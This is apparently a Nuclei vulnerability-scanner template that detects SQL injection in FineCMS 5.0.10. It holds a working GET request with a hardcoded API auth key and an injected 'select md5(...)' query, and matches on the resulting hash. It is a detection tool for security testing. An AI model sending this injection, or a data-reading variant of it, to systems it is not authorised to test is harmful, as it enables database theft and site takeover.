id: finecms-sqli

info:
  name: FineCMS 5.0.10 - SQL Injection
  author: ritikchaddha
  severity: critical
  description: |
    FineCMS 5.0.10 contains a SQL injection vulnerability. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
  reference:
    - https://blog.csdn.net/dfdhxb995397/article/details/101385340
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-89
  metadata:
    max-request: 1
  tags: finecms,sqli,vuln
variables:
  num: "999999999"

http:
  - method: GET
    path:
      - '{{BaseURL}}/index.php?c=api&m=data2&auth=582f27d140497a9d8f048ca085b111df&param=action=sql%20sql=%27select%20md5({{num}})%27'

    matchers:
      - type: word
        words:
          - '{{md5({{num}})}}'
# digest: 4a0a00473045022100b3b6bc34710ebd50e6450372861fc214c780e075d857a80c0ae7d8784371c97302200e1025d50adfe38f8198246a4027eaac24f70001f64222e641ae63bd3e14e54f:922c64590222798bb761d5b6d8e72950